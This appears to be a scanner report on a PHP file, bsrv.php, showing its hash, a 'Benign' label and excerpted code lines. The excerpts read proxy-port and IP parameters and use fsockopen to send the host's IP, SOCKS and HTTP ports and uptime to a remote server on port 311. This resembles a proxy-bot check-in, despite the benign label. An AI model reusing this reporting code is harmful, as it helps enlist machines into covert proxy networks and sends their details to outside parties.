Benign Download

bsrv.php

HTTP GET parameter access ($_GET)PHP fsockopen socket open

SHA-256486ca32287ef44b10bde1b9a9a6b25a1adfe5b8a07b17cc2f24beb9890fa7344

Evidence

HTTP GET parameter access ($_GET) lines 1–4

1<?php
2$id=$_GET['id'] ;
3$httpport=$_GET['httpport'] ;
4$socksport=$_GET['socksport'] ;

PHP reads X-Forwarded-For server header lines 12–17

12
13$ssip=$_GET['ssip'] ;
14$ip=getenv("REMOTE_ADDR");
15$real_ip=getenv("HTTP_X_FORWARDED_FOR");
16
17if($ver==""):

PHP fsockopen socket open lines 64–69

64$aport=311;
65if($arr[1]==$uid || $arr[1]=="0"):
66$fp = fsockopen($arr[0],$aport, &$errno, &$errstr, 10); 
67fputs($fp,"IP:$ip PORT:$param $tim SOCKS:$socksport HTTP:$httpport Uptime:$uptimeh:$uptimem lang-$lang uid:$uid id:$id v:$ver\r\n");
68fclose($fp);
69endif;